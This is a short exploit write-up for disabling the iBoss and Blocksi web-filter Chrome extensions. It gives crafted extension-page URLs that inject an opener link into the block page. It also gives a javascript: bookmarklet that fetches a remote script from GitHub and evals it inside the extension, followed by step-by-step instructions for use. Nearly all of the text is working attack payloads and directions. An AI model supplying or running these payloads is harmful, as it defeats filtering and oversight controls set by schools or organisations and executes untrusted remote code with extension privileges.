This exploit is only usable on iBoss (but it works for Blocksi too).
This uses Point-Blank!

IBoss extension:
chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html?re=1&bc=%3Ca+href=%22about:blank%22%20rel=%22opener%22%20target=%22_blank%22%3EThe%20Blue%20Hat%20Crew%20is%20the%20best!%3C/a%3E

Blocksi extension:
chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html?blockurl={%22hostname%22:%22%3Ca%20href=%27//%27%20rel=%27opener%27%20target=%27_blank%27%3ETheBlueHatCrewIsTheBest%3C/a%3E%22}

Javascript:
javascript:opener.eval(`fetch("https://raw.githubusercontent.com/3kh0/ext-remover/3e4ea6b09b83d2cae0f8ed74be0a8e7c12ad9f1f/uboss.js").then(data=>{data.text().then(e=>{eval(e)})})`) && close();

Instructions:
Step 1 - Go to the website that matches the extension you have.
Step 2 - Bookmark the javascript then run it on that extension page.
Step 3 - Follow the instructions.

Credits:
https://github.com/3kh0/ext-remover
Aka-but-nice
Bypassi
